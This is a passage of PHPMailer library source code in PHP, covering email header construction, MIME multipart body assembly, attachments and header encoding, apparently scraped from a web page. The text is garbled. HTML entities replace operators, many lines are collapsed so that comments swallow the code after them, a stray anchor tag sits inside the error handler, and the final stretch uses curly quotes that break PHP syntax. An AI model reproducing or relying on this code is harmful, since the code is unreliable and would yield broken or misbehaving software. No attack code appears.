        }

        // mail() sets the subject itself
        if ($this-&gt;Mailer != 'mail') {
            $result .= $this-&gt;headerLine('Subject', $this-&gt;encodeHeader($this-&gt;secureHeader($this-&gt;Subject)));
        }

        if ($this-&gt;MessageID != '') {
            $this-&gt;lastMessageID = $this-&gt;MessageID;
        } else {
            $this-&gt;lastMessageID = sprintf('&lt;%s@%s&gt;', $uniq_id, $this-&gt;ServerHostname());
        }
        $result .= $this-&gt;HeaderLine('Message-ID', $this-&gt;lastMessageID);
        $result .= $this-&gt;headerLine('X-Priority', $this-&gt;Priority);
        if ($this-&gt;XMailer == '') {
            $result .= $this-&gt;headerLine(
                'X-Mailer',
                'PHPMailer ' . $this-&gt;Version . ' (https://github.com/PHPMailer/PHPMailer/)'
            );
        } else {
            $myXmailer = trim($this-&gt;XMailer);
            if ($myXmailer) {
                $result .= $this-&gt;headerLine('X-Mailer', $myXmailer);
            }
        }

        if ($this-&gt;ConfirmReadingTo != '') {
            $result .= $this-&gt;headerLine('Disposition-Notification-To', '&lt;' . trim($this-&gt;ConfirmReadingTo) . '&gt;');
        }

        // Add custom headers
        for ($index = 0; $index &lt; count($this-&gt;CustomHeader); $index++) {
            $result .= $this-&gt;headerLine(
                trim($this-&gt;CustomHeader[$index][0]),
                $this-&gt;encodeHeader(trim($this-&gt;CustomHeader[$index][1]))
            );
        }
        if (!$this-&gt;sign_key_file) {
            $result .= $this-&gt;headerLine('MIME-Version', '1.0');
            $result .= $this-&gt;getMailMIME();
        }

        return $result;
    }

    public function getMailMIME()
    {
        $result = '';
        $ismultipart = true;
        switch ($this-&gt;message_type) {
            case 'inline':
                $result .= $this-&gt;headerLine('Content-Type', 'multipart/related;');
                $result .= $this-&gt;textLine("\tboundary=\"" . $this-&gt;boundary[1] . '"');
                break;
            case 'attach':
            case 'inline_attach':
            case 'alt_attach':
            case 'alt_inline_attach':
                $result .= $this-&gt;headerLine('Content-Type', 'multipart/mixed;');
                $result .= $this-&gt;textLine("\tboundary=\"" . $this-&gt;boundary[1] . '"');
                break;
            case 'alt':
            case 'alt_inline':
                $result .= $this-&gt;headerLine('Content-Type', 'multipart/alternative;');
                $result .= $this-&gt;textLine("\tboundary=\"" . $this-&gt;boundary[1] . '"');
                break;
            default:
                // Catches case 'plain': and case '':
                $result .= $this-&gt;textLine('Content-Type: ' . $this-&gt;ContentType . '; charset=' . $this-&gt;CharSet);
                $ismultipart = false;
                break;
        }
        // RFC1341 part 5 says 7bit is assumed if not specified
        if ($this-&gt;Encoding != '7bit') {
            // RFC 2045 section 6.4 says multipart MIME parts may only use 7bit, 8bit or binary CTE
            if ($ismultipart) {
                if ($this-&gt;Encoding == '8bit') {
                    $result .= $this-&gt;headerLine('Content-Transfer-Encoding', '8bit');
                }
                // The only remaining alternatives are quoted-printable and base64, which are both 7bit compatible
            } else {
                $result .= $this-&gt;headerLine('Content-Transfer-Encoding', $this-&gt;Encoding);
            }
        }

        if ($this-&gt;Mailer != 'mail') {
            $result .= $this-&gt;LE;
        }

        return $result;
    }

    public function getSentMIMEMessage()
    {
        return $this-&gt;MIMEHeader . $this-&gt;mailHeader . self::CRLF . $this-&gt;MIMEBody;
    }


    public function createBody()
    {
        $body = '';

        if ($this-&gt;sign_key_file) {
            $body .= $this-&gt;getMailMIME() . $this-&gt;LE;
        }

        $this-&gt;setWordWrap();

        $bodyEncoding = $this-&gt;Encoding;
        $bodyCharSet = $this-&gt;CharSet;
        if ($bodyEncoding == '8bit' and !$this-&gt;has8bitChars($this-&gt;Body)) {
            $bodyEncoding = '7bit';
            $bodyCharSet = 'us-ascii';
        }
        $altBodyEncoding = $this-&gt;Encoding;
        $altBodyCharSet = $this-&gt;CharSet;
        if ($altBodyEncoding == '8bit' and !$this-&gt;has8bitChars($this-&gt;AltBody)) {
            $altBodyEncoding = '7bit';
            $altBodyCharSet = 'us-ascii';
        }
        switch ($this-&gt;message_type) {
            case 'inline':
                $body .= $this-&gt;getBoundary($this-&gt;boundary[1], $bodyCharSet, '', $bodyEncoding);
                $body .= $this-&gt;encodeString($this-&gt;Body, $bodyEncoding);
                $body .= $this-&gt;LE . $this-&gt;LE;
                $body .= $this-&gt;attachAll('inline', $this-&gt;boundary[1]);
                break;
            case 'attach':
                $body .= $this-&gt;getBoundary($this-&gt;boundary[1], $bodyCharSet, '', $bodyEncoding);
                $body .= $this-&gt;encodeString($this-&gt;Body, $bodyEncoding);
                $body .= $this-&gt;LE . $this-&gt;LE;
                $body .= $this-&gt;attachAll('attachment', $this-&gt;boundary[1]);
                break;
            case 'inline_attach':
                $body .= $this-&gt;textLine('--' . $this-&gt;boundary[1]);
                $body .= $this-&gt;headerLine('Content-Type', 'multipart/related;');
                $body .= $this-&gt;textLine("\tboundary=\"" . $this-&gt;boundary[2] . '"');
                $body .= $this-&gt;LE;
                $body .= $this-&gt;getBoundary($this-&gt;boundary[2], $bodyCharSet, '', $bodyEncoding);
                $body .= $this-&gt;encodeString($this-&gt;Body, $bodyEncoding);
                $body .= $this-&gt;LE . $this-&gt;LE;
                $body .= $this-&gt;attachAll('inline', $this-&gt;boundary[2]);
                $body .= $this-&gt;LE;
                $body .= $this-&gt;attachAll('attachment', $this-&gt;boundary[1]);
                break;
            case 'alt':
                $body .= $this-&gt;getBoundary($this-&gt;boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this-&gt;encodeString($this-&gt;AltBody, $altBodyEncoding);
                $body .= $this-&gt;LE . $this-&gt;LE;
                $body .= $this-&gt;getBoundary($this-&gt;boundary[1], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this-&gt;encodeString($this-&gt;Body, $bodyEncoding);
                $body .= $this-&gt;LE . $this-&gt;LE;
                if (!empty($this-&gt;Ical)) {
                    $body .= $this-&gt;getBoundary($this-&gt;boundary[1], '', 'text/calendar; method=REQUEST', '');
                    $body .= $this-&gt;encodeString($this-&gt;Ical, $this-&gt;Encoding);
                    $body .= $this-&gt;LE . $this-&gt;LE;
                }
                $body .= $this-&gt;endBoundary($this-&gt;boundary[1]);
                break;
            case 'alt_inline':
                $body .= $this-&gt;getBoundary($this-&gt;boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this-&gt;encodeString($this-&gt;AltBody, $altBodyEncoding);
                $body .= $this-&gt;LE . $this-&gt;LE;
                $body .= $this-&gt;textLine('--' . $this-&gt;boundary[1]);
                $body .= $this-&gt;headerLine('Content-Type', 'multipart/related;');
                $body .= $this-&gt;textLine("\tboundary=\"" . $this-&gt;boundary[2] . '"');
                $body .= $this-&gt;LE;
                $body .= $this-&gt;getBoundary($this-&gt;boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this-&gt;encodeString($this-&gt;Body, $bodyEncoding);
                $body .= $this-&gt;LE . $this-&gt;LE;
                $body .= $this-&gt;attachAll('inline', $this-&gt;boundary[2]);
                $body .= $this-&gt;LE;
                $body .= $this-&gt;endBoundary($this-&gt;boundary[1]);
                break;
            case 'alt_attach':
                $body .= $this-&gt;textLine('--' . $this-&gt;boundary[1]);
                $body .= $this-&gt;headerLine('Content-Type', 'multipart/alternative;');
                $body .= $this-&gt;textLine("\tboundary=\"" . $this-&gt;boundary[2] . '"');
                $body .= $this-&gt;LE;
                $body .= $this-&gt;getBoundary($this-&gt;boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this-&gt;encodeString($this-&gt;AltBody, $altBodyEncoding);
                $body .= $this-&gt;LE . $this-&gt;LE;
                $body .= $this-&gt;getBoundary($this-&gt;boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this-&gt;encodeString($this-&gt;Body, $bodyEncoding);
                $body .= $this-&gt;LE . $this-&gt;LE;
                $body .= $this-&gt;endBoundary($this-&gt;boundary[2]);
                $body .= $this-&gt;LE;
                $body .= $this-&gt;attachAll('attachment', $this-&gt;boundary[1]);
                break;
            case 'alt_inline_attach':
                $body .= $this-&gt;textLine('--' . $this-&gt;boundary[1]);
                $body .= $this-&gt;headerLine('Content-Type', 'multipart/alternative;');
                $body .= $this-&gt;textLine("\tboundary=\"" . $this-&gt;boundary[2] . '"');
                $body .= $this-&gt;LE;
                $body .= $this-&gt;getBoundary($this-&gt;boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this-&gt;encodeString($this-&gt;AltBody, $altBodyEncoding);
                $body .= $this-&gt;LE . $this-&gt;LE;
                $body .= $this-&gt;textLine('--' . $this-&gt;boundary[2]);
                $body .= $this-&gt;headerLine('Content-Type', 'multipart/related;');
                $body .= $this-&gt;textLine("\tboundary=\"" . $this-&gt;boundary[3] . '"');
                $body .= $this-&gt;LE;
                $body .= $this-&gt;getBoundary($this-&gt;boundary[3], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this-&gt;encodeString($this-&gt;Body, $bodyEncoding);
                $body .= $this-&gt;LE . $this-&gt;LE;
                $body .= $this-&gt;attachAll('inline', $this-&gt;boundary[3]);
                $body .= $this-&gt;LE;
                $body .= $this-&gt;endBoundary($this-&gt;boundary[2]);
                $body .= $this-&gt;LE;
                $body .= $this-&gt;attachAll('attachment', $this-&gt;boundary[1]);
                break;
            default:
                // catch case 'plain' and case ''
                $body .= $this-&gt;encodeString($this-&gt;Body, $bodyEncoding);
                break;
        }

        if ($this-&gt;isError()) {
            $body = '';
        } elseif ($this-&gt;sign_key_file) {
            try {
                if (!defined('PKCS7_TEXT')) {
                    throw new phpmailerException($this-&gt;lang('signing') . ' OpenSSL extension missing.');
                }
                // @TODO would be nice to use php://temp streams here, but need to wrap for PHP &lt; 5.1                 $file = tempnam(sys_get_temp_dir(), 'mail');                 if (false === file_put_contents($file, $body)) {                     throw new phpmailerException($this-&gt;lang('signing') . ' Could not write temp file');
                }
                $signed = tempnam(sys_get_temp_dir(), 'signed');
                if (@openssl_pkcs7_sign(
                    $file,
                    $signed,
                    'file://' . realpath($this-&gt;sign_cert_file),
                    array('file://' . realpath($this-&gt;sign_key_file), $this-&gt;sign_key_pass),
                    null
                )
                ) {
                    @unlink($file);
                    $body = file_get_contents($signed);
                    @unlink($signed);
                } else {
                    @unlink($file);
                    @unlink($signed);
                    throw new phpmailerException($this-&gt;lang('signing') . openssl_error_string());
                }
            } catch (phpmailerException $exc) {
                $body = '';
                if ($this-&gt;exceptions) {
                    throw $exc;
                }
            }
        }
        return $body;
    }

    protected function getBoundary($boundary, $charSet, $contentType, $encoding)
    {
        $result = '';
        if ($charSet == '') {
            $charSet = $this-&gt;CharSet;
        }
        if ($contentType == '') {
            $contentType = $this-&gt;ContentType;
        }
        if ($encoding == '') {
            $encoding = $this-&gt;Encoding;
        }
        $result .= $this-&gt;textLine('--' . $boundary);
        $result .= sprintf('Content-Type: %s; charset=%s', $contentType, $charSet);
        $result .= $this-&gt;LE;
        // RFC1341 part 5 says 7bit is assumed if not specified
        if ($encoding != '7bit') {
            $result .= $this-&gt;headerLine('Content-Transfer-Encoding', $encoding);
        }
        $result .= $this-&gt;LE;

        return $result;
    }

    protected function endBoundary($boundary)
    {
        return $this-&gt;LE . '--' . $boundary . '--' . $this-&gt;LE;
    }

    protected function setMessageType()
    {
        $type = array();
        if ($this-&gt;alternativeExists()) {
            $type[] = 'alt';
        }
        if ($this-&gt;inlineImageExists()) {
            $type[] = 'inline';
        }
        if ($this-&gt;attachmentExists()) {
            $type[] = 'attach';
        }
        $this-&gt;message_type = implode('_', $type);
        if ($this-&gt;message_type == '') {
            $this-&gt;message_type = 'plain';
        }
    }

    public function headerLine($name, $value)
    {
        return $name . ': ' . $value . $this-&gt;LE;
    }

    public function textLine($value)
    {
        return $value . $this-&gt;LE;
    }

    public function addAttachment($path, $name = '', $encoding = 'base64', $type = '', $disposition = 'attachment')
    {
        try {
            if (!@is_file($path)) {
                throw new phpmailerException($this-&gt;lang('file_access') . $path, self::STOP_CONTINUE);
            }

            // If a MIME type is not specified, try to work it out from the file name
            if ($type == '') {
                $type = self::filenameToType($path);
            }

            $filename = basename($path);
            if ($name == '') {
                $name = $filename;
            }

            $this-&gt;attachment[] = array(
                0 =&gt; $path,
                1 =&gt; $filename,
                2 =&gt; $name,
                3 =&gt; $encoding,
                4 =&gt; $type,
                5 =&gt; false, // isStringAttachment
                6 =&gt; $disposition,
                7 =&gt; 0
            );

        } catch (phpmailerException $exc) {
            $this-&gt;setError($exc-&gt;getMessage());
            $this-&gt;edebug($exc-&gt;getMessage());
            if ($this-&gt;exceptions) {
                throw $exc;
            }
            return false;
        }
        return true;
    }

    public function getAttachments()
    {
        return $this-&gt;attachment;
    }

    protected function attachAll($disposition_type, $boundary)
    {
        // Return text of body
        $mime = array();
        $cidUniq = array();
        $incl = array();

        // Add all attachments
        foreach ($this-&gt;attachment as $attachment) {
            // Check if it is a valid disposition_filter
            if ($attachment[6] == $disposition_type) {
                // Check for string attachment
                $string = '';
                $path = '';
                $bString = $attachment[5];
                if ($bString) {
                    $string = $attachment[0];
                } else {
                    $path = $attachment[0];
                }

                $inclhash = md5(serialize($attachment));
                if (in_array($inclhash, $incl)) {
                    continue;
                }
                $incl[] = $inclhash;
                $name = $attachment[2];
                $encoding = $attachment[3];
                $type = $attachment[4];
                $disposition = $attachment[6];
                $cid = $attachment[7];
                if ($disposition == 'inline' &amp;&amp; isset($cidUniq[$cid])) {
                    continue;
                }
                $cidUniq[$cid] = true;

                $mime[] = sprintf('--%s%s', $boundary, $this-&gt;LE);
                $mime[] = sprintf(
                    'Content-Type: %s; name="%s"%s',
                    $type,
                    $this-&gt;encodeHeader($this-&gt;secureHeader($name)),
                    $this-&gt;LE
                );
                // RFC1341 part 5 says 7bit is assumed if not specified
                if ($encoding != '7bit') {
                    $mime[] = sprintf('Content-Transfer-Encoding: %s%s', $encoding, $this-&gt;LE);
                }

                if ($disposition == 'inline') {
                    $mime[] = sprintf('Content-ID: &lt;%s&gt;%s', $cid, $this-&gt;LE);
                }

                // If a filename contains any of these chars, it should be quoted,
                // but not otherwise: RFC2183 &amp; RFC2045 5.1
                // Fixes a warning in IETF's msglint MIME checker
                // Allow for bypassing the Content-Disposition header totally
                if (!(empty($disposition))) {
                    $encoded_name = $this-&gt;encodeHeader($this-&gt;secureHeader($name));
                    if (preg_match('/[ \(\)&lt;&gt;@,;:\\"\/\[\]\?=]/', $encoded_name)) {
                        $mime[] = sprintf(
                            'Content-Disposition: %s; filename="%s"%s',
                            $disposition,
                            $encoded_name,
                            $this-&gt;LE . $this-&gt;LE
                        );
                    } else {
                        $mime[] = sprintf(
                            'Content-Disposition: %s; filename=%s%s',
                            $disposition,
                            $encoded_name,
                            $this-&gt;LE . $this-&gt;LE
                        );
                    }
                } else {
                    $mime[] = $this-&gt;LE;
                }

                // Encode as string attachment
                if ($bString) {
                    $mime[] = $this-&gt;encodeString($string, $encoding);
                    if ($this-&gt;isError()) {
                        return '';
                    }
                    $mime[] = $this-&gt;LE . $this-&gt;LE;
                } else {
                    $mime[] = $this-&gt;encodeFile($path, $encoding);
                    if ($this-&gt;isError()) {
                        return '';
                    }
                    $mime[] = $this-&gt;LE . $this-&gt;LE;
                }
            }
        }

        $mime[] = sprintf('--%s--%s', $boundary, $this-&gt;LE);

        return implode('', $mime);
    }

    protected function encodeFile($path, $encoding = 'base64')
    {
        try {
            if (!is_readable($path)) {
                throw new phpmailerException($this-&gt;lang('file_open') . $path, self::STOP_CONTINUE);
            }
            $magic_quotes = get_magic_quotes_runtime();
            if ($magic_quotes) {
                if (version_compare(PHP_VERSION, '5.3.0', '&lt;')) {                     set_magic_quotes_runtime(false);                 } else {                     ini_set('magic_quotes_runtime', 0);                 }             }             $file_buffer = file_get_contents($path);             $file_buffer = $this-&gt;encodeString($file_buffer, $encoding);
            if ($magic_quotes) {
                if (version_compare(PHP_VERSION, '5.3.0', '&lt;')) {                     set_magic_quotes_runtime($magic_quotes);                 } else {                     ini_set('magic_quotes_runtime', ($magic_quotes?'1':'0'));                 }             }             return $file_buffer;         } catch (Exception $exc) {             $this-&gt;setError($exc-&gt;getMessage());
            return '';
        }
    }

    public function encodeString($str, $encoding = 'base64')
    {
        $encoded = '';
        switch (strtolower($encoding)) {
            case 'base64':
                $encoded = chunk_split(base64_encode($str), 76, $this-&gt;LE);
                break;
            case '7bit':
            case '8bit':
                $encoded = $this-&gt;fixEOL($str);
                // Make sure it ends with a line break
                if (substr($encoded, -(strlen($this-&gt;LE))) != $this-&gt;LE) {
                    $encoded .= $this-&gt;LE;
                }
                break;
            case 'binary':
                $encoded = $str;
                break;
            case 'quoted-printable':
                $encoded = $this-&gt;encodeQP($str);
                break;
            default:
                $this-&gt;setError($this-&gt;lang('encoding') . $encoding);
                break;
        }
        return $encoded;
    }

    public function encodeHeader($str, $position = 'text')
    {
        $matchcount = 0;
        switch (strtolower($position)) {
            case 'phrase':
                if (!preg_match('/[\200-\377]/', $str)) {
                    // Can't use addslashes as we don't know the value of magic_quotes_sybase
                    $encoded = addcslashes($str, "\0..\37\177\\\"");
                    if (($str == $encoded) &amp;&amp; !preg_match('/[^A-Za-z0-9!#$%&amp;\'*+\/=?^_`{|}~ -]/', $str)) {
                        return ($encoded);
                    } else {
                        return ("\"$encoded\"");
                    }
                }
                $matchcount = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
                break;
            /** @noinspection PhpMissingBreakStatementInspection */
            case 'comment':
                $matchcount = preg_match_all('/[()"]/', $str, $matches);
                // Intentional fall-through
            case 'text':
            default:
                $matchcount += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
                break;
        }

        if ($matchcount == 0) { // There are no chars that need encoding
            return ($str);
        }

        $maxlen = 75 - 7 - strlen($this-&gt;CharSet);
        // Try to select the encoding which should produce the shortest output
        if ($matchcount &gt; strlen($str) / 3) {
            // More than a third of the content will need encoding, so B encoding will be most efficient
            $encoding = 'B';
            if (function_exists('mb_strlen') &amp;&amp; $this-&gt;hasMultiBytes($str)) {
                $encoded = $this-&gt;base64EncodeWrapMB($str, "\n");
            } else {
                $encoded = base64_encode($str);
                $maxlen -= $maxlen % 4;
                $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
            }
        } else {
            $encoding = 'Q';
            $encoded = $this-&gt;encodeQ($str, $position);
            $encoded = $this-&gt;wrapText($encoded, $maxlen, true);
            $encoded = str_replace('=' . self::CRLF, "\n", trim($encoded));
        }

        $encoded = preg_replace('/^(.*)$/m', ' =?' . $this-&gt;CharSet . "?$encoding?\\1?=", $encoded);
        $encoded = trim(str_replace("\n", $this-&gt;LE, $encoded));

        return $encoded;
    }


    public function hasMultiBytes($str)
    {
        if (function_exists('mb_strlen')) {
            return (strlen($str) &gt; mb_strlen($str, $this-&gt;CharSet));
        } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
            return false;
        }
    }


    public function has8bitChars($text)
    {
        return (boolean)preg_match('/[\x80-\xFF]/', $text);
    }


    public function base64EncodeWrapMB($str, $linebreak = null)
    {
        $start = '=?' . $this-&gt;CharSet . '?B?';
        $end = '?=';
        $encoded = '';
        if ($linebreak === null) {
            $linebreak = $this-&gt;LE;
        }

        $mb_length = mb_strlen($str, $this-&gt;CharSet);
        // Each line must have length &lt;= 75, including $start and $end
        $length = 75 - strlen($start) - strlen($end);
        // Average multi-byte ratio
        $ratio = $mb_length / strlen($str);
        // Base64 has a 4:3 ratio
        $avgLength = floor($length * $ratio * .75);

        for ($i = 0; $i &lt; $mb_length; $i += $offset) {             $lookBack = 0;             do {                 $offset = $avgLength - $lookBack;                 $chunk = mb_substr($str, $i, $offset, $this-&gt;CharSet);
                $chunk = base64_encode($chunk);
                $lookBack++;
            } while (strlen($chunk) &gt; $length);
            $encoded .= $chunk . $linebreak;
        }

        // Chomp the last linefeed
        $encoded = substr($encoded, 0, -strlen($linebreak));
        return $encoded;
    }


    public function encodeQP($string, $line_max = 76)
    {
        if (function_exists('quoted_printable_encode')) { // Use native function if it's available (&gt;= PHP5.3)
            return $this-&gt;fixEOL(quoted_printable_encode($string));
        }
        // Fall back to a pure PHP implementation
        $string = str_replace(
            array('%20', '%0D%0A.', '%0D%0A', '%'),
            array(' ', "\r\n=2E", "\r\n", '='),
            rawurlencode($string)
        );
        $string = preg_replace('/[^\r\n]{' . ($line_max - 3) . '}[^=\r\n]{2}/', "$0=\r\n", $string);
        return $this-&gt;fixEOL($string);
    }


    public function encodeQPphp(
        $string,
        $line_max = 76,
        /** @noinspection PhpUnusedParameterInspection */ $space_conv = false
    ) {
        return $this-&gt;encodeQP($string, $line_max);
    }


    public function encodeQ($str, $position = 'text')
    {
        // There should not be any EOL in the string
        $pattern = '';
        $encoded = str_replace(array("\r", "\n"), '', $str);
        switch (strtolower($position)) {
            case 'phrase':
                // RFC 2047 section 5.3
                $pattern = '^A-Za-z0-9!*+\/ -';
                break;
            /** @noinspection PhpMissingBreakStatementInspection */
            case 'comment':
                // RFC 2047 section 5.2
                $pattern = '\(\)"';

            case 'text':
            default:

                $pattern = '\000-\011\013\014\016-\037\075\077\137\177-\377' . $pattern;
                break;
        }
        $matches = array();
        if (preg_match_all("/[{$pattern}]/", $encoded, $matches)) {

            $eqkey = array_search('=', $matches[0]);
            if (false !== $eqkey) {
                unset($matches[0][$eqkey]);
                array_unshift($matches[0], '=');
            }
            foreach (array_unique($matches[0]) as $char) {
                $encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded);
            }
        }
        // Replace every spaces to _ (more readable than =20)
        return str_replace(' ', '_', $encoded);
    }


    public function addStringAttachment(
        $string,
        $filename,
        $encoding = 'base64',
        $type = '',
        $disposition = 'attachment'
    ) {
        // If a MIME type is not specified, try to work it out from the file name
        if ($type == '') {
            $type = self::filenameToType($filename);
        }
        // Append to $attachment array
        $this-&gt;attachment[] = array(
            0 =&gt; $string,
            1 =&gt; $filename,
            2 =&gt; basename($filename),
            3 =&gt; $encoding,
            4 =&gt; $type,
            5 =&gt; true, // isStringAttachment
            6 =&gt; $disposition,
            7 =&gt; 0
        );
    }

    public function addEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline')
    {
        if (!@is_file($path)) {
            $this-&gt;setError($this-&gt;lang('file_access') . $path);
            return false;
        }

        // If a MIME type is not specified, try to work it out from the file name
        if ($type == '') {
            $type = self::filenameToType($path);
        }

        $filename = basename($path);
        if ($name == '') {
            $name = $filename;
        }

        // Append to $attachment array
        $this-&gt;attachment[] = array(
            0 =&gt; $path,
            1 =&gt; $filename,
            2 =&gt; $name,
            3 =&gt; $encoding,
            4 =&gt; $type,
            5 =&gt; false, // isStringAttachment
            6 =&gt; $disposition,
            7 =&gt; $cid
        );
        return true;
    }


    public function addStringEmbeddedImage(
        $string,
        $cid,
        $name = '',
        $encoding = 'base64',
        $type = '',
        $disposition = 'inline'
    ) {
        // If a MIME type is not specified, try to work it out from the name
        if ($type == '') {
            $type = self::filenameToType($name);
        }

        // Append to $attachment array
        $this-&gt;attachment[] = array(
            0 =&gt; $string,
            1 =&gt; $name,
            2 =&gt; $name,
            3 =&gt; $encoding,
            4 =&gt; $type,
            5 =&gt; true, // isStringAttachment
            6 =&gt; $disposition,
            7 =&gt; $cid
        );
        return true;
    }

    public function inlineImageExists()
    {
        foreach ($this-&gt;attachment as $attachment) {
            if ($attachment[6] == 'inline') {
                return true;
            }
        }
        return false;
    }

    public function attachmentExists()
    {
        foreach ($this-&gt;attachment as $attachment) {
            if ($attachment[6] == 'attachment') {
                return true;
            }
        }
        return false;
    }

    public function alternativeExists()
    {
        return !empty($this-&gt;AltBody);
    }

    public function clearAddresses()
    {
        foreach ($this-&gt;to as $to) {
            unset($this-&gt;all_recipients[strtolower($to[0])]);
        }
        $this-&gt;to = array();
    }

    public function clearCCs()
    {
        foreach ($this-&gt;cc as $cc) {
            unset($this-&gt;all_recipients[strtolower($cc[0])]);
        }
        $this-&gt;cc = array();
    }

    public function clearBCCs()
    {
        foreach ($this-&gt;bcc as $bcc) {
            unset($this-&gt;all_recipients[strtolower($bcc[0])]);
        }
        $this-&gt;bcc = array();
    }

    public function clearReplyTos()
    {
        $this-&gt;ReplyTo = array();
    }


    public function clearAllRecipients()
    {
        $this-&gt;to = array();
        $this-&gt;cc = array();
        $this-&gt;bcc = array();
        $this-&gt;all_recipients = array();
    }

    public function clearAttachments()
    {
        $this-&gt;attachment = array();
    }

    public function clearCustomHeaders()
    {
        $this-&gt;CustomHeader = array();
    }

    protected function setError($msg)
    {
        $this-&gt;error_count++;
        if ($this-&gt;Mailer == 'smtp' and !is_null($this-&gt;smtp)) {
            $lasterror = $this-&gt;smtp-&gt;getError();
            if (!empty($lasterror) and array_key_exists('smtp_msg', $lasterror)) {
                $msg .= '</a>

‘ . $this->lang(‘smtp_error’) . $lasterror[‘smtp_msg’] . ”

\n”; } } $this->ErrorInfo = $msg; } public static function rfcDate() { // Set the time zone to whatever the default is to avoid 500 errors // Will default to UTC if it’s not set properly in php.ini date_default_timezone_set(@date_default_timezone_get()); return date(‘D, j M Y H:i:s O’); } protected function serverHostname() { $result = ‘localhost.localdomain’; if (!empty($this->Hostname)) { $result = $this->Hostname; } elseif (isset($_SERVER) and array_key_exists(‘SERVER_NAME’, $_SERVER) and !empty($_SERVER[‘SERVER_NAME’])) { $result = $_SERVER[‘SERVER_NAME’]; } elseif (function_exists(‘gethostname’) && gethostname() !== false) { $result = gethostname(); } elseif (php_uname(‘n’) !== false) { $result = php_uname(‘n’); } return $result; } protected function lang($key) { if (count($this->language) < 1) { $this->setLanguage(‘en’); // set the default language } if (isset($this->language[$key])) { return $this->language[$key]; } else { return ‘Language string failed to load: ‘ . $key; } } public function isError() { return ($this->error_count > 0); } public function fixEOL($str) { // Normalise to \n $nstr = str_replace(array(“\r\n”, “\r”), “\n”, $str); // Now convert LE as needed if ($this->LE !== “\n”) { $nstr = str_replace(“\n”, $this->LE, $nstr); } return $nstr; } public function addCustomHeader($name, $value = null) { if ($value === null) { // Value passed in as name:value $this->CustomHeader[] = explode(‘:’, $name, 2); } else { $this->CustomHeader[] = array($name, $value); } } public function msgHTML($message, $basedir = ”, $advanced = false) { preg_match_all(‘/(src|background)=[“\’](.*)[“\’]/Ui’, $message, $images); if (isset($images[2])) { foreach ($images[2] as $imgindex => $url) { // Convert data URIs into embedded images if (preg_match(‘#^data:(image[^;,]*)(;base64)?,#’, $url, $match)) { $data = substr($url, strpos($url, ‘,’)); if ($match[2]) { $data = base64_decode($data); } else { $data = rawurldecode($data); } $cid = md5($url) . ‘@phpmailer.0’; // RFC2392 S 2 if ($this->addStringEmbeddedImage($data, $cid, ”, ‘base64’, $match[1])) { $message = str_replace( $images[0][$imgindex], $images[1][$imgindex] . ‘=”cid:’ . $cid . ‘”‘, $message ); } } elseif (!preg_match(‘#^[A-z]+://#’, $url)) { // Do not change urls for absolute images (thanks to corvuscorax) $filename = basename($url); $directory = dirname($url); if ($directory == ‘.’) { $directory = ”; } $cid = md5($url) . ‘@phpmailer.0’; // RFC2392 S 2 if (strlen($basedir) > 1 && substr($basedir, -1) != ‘/’) { $basedir .= ‘/’; } if (strlen($directory) > 1 && substr($directory, -1) != ‘/’) { $directory .= ‘/’; } if ($this->addEmbeddedImage( $basedir . $directory . $filename, $cid, $filename, ‘base64’, self::_mime_types((string)self::mb_pathinfo($filename, PATHINFO_EXTENSION)) ) ) { $message = preg_replace( ‘/’ . $images[1][$imgindex] . ‘=[“\’]’ . preg_quote($url, ‘/’) . ‘[“\’]/Ui’, $images[1][$imgindex] . ‘=”cid:’ . $cid . ‘”‘, $message ); } } } } $this->isHTML(true); // Convert all message body line breaks to CRLF, makes quoted-printable encoding work much better $this->Body = $this->normalizeBreaks($message); $this->AltBody = $this->normalizeBreaks($this->html2text($message, $advanced)); if (empty($this->AltBody)) { $this->AltBody = ‘To view this email message, open it in a program that understands HTML!’ . self::CRLF . self::CRLF; } return $this->Body; } public function html2text($html, $advanced = false) { if (is_callable($advanced)) { return call_user_func($advanced, $html); } return html_entity_decode( trim(custom_strip_tags(preg_replace(‘/<(head|title|style|script)[^>]*>.*?<\/\\1>/si’, ”, $html))), ENT_QUOTES, $this->CharSet ); } public static function _mime_types($ext = ”) { $mimes = array( ‘xl’ => ‘application/excel’, ‘js’ => ‘application/javascript’, ‘hqx’ => ‘application/mac-binhex40’, ‘cpt’ => ‘application/mac-compactpro’, ‘bin’ => ‘application/macbinary’, ‘doc’ => ‘application/msword’, ‘word’ => ‘application/msword’, ‘class’ => ‘application/octet-stream’, ‘dll’ => ‘application/octet-stream’, ‘dms’ => ‘application/octet-stream’, ‘exe’ => ‘application/octet-stream’, ‘lha’ => ‘application/octet-stream’, ‘lzh’ => ‘application/octet-stream’, ‘psd’ => ‘application/octet-stream’, ‘sea’ => ‘application/octet-stream’, ‘so’ => ‘application/octet-stream’, ‘oda’ => ‘application/oda’, ‘pdf’ => ‘application/pdf’, ‘ai’ => ‘application/postscript’, ‘eps’ => ‘application/postscript’, ‘ps’ => ‘application/postscript’, ‘smi’ => ‘application/smil’, ‘smil’ => ‘application/smil’, ‘mif’ => ‘application/vnd.mif’, ‘xls’ => ‘application/vnd.ms-excel’, ‘ppt’ => ‘application/vnd.ms-powerpoint’, ‘wbxml’ => ‘application/vnd.wap.wbxml’, ‘wmlc’ => ‘application/vnd.wap.wmlc’, ‘dcr’ => ‘application/x-director’, ‘dir’ => ‘application/x-director’, ‘dxr’ => ‘application/x-director’, ‘dvi’ => ‘application/x-dvi’, ‘gtar’ => ‘application/x-gtar’, ‘php3’ => ‘application/x-httpd-php’, ‘php4’ => ‘application/x-httpd-php’, ‘php’ => ‘application/x-httpd-php’, ‘phtml’ => ‘application/x-httpd-php’, ‘phps’ => ‘application/x-httpd-php-source’, ‘swf’ => 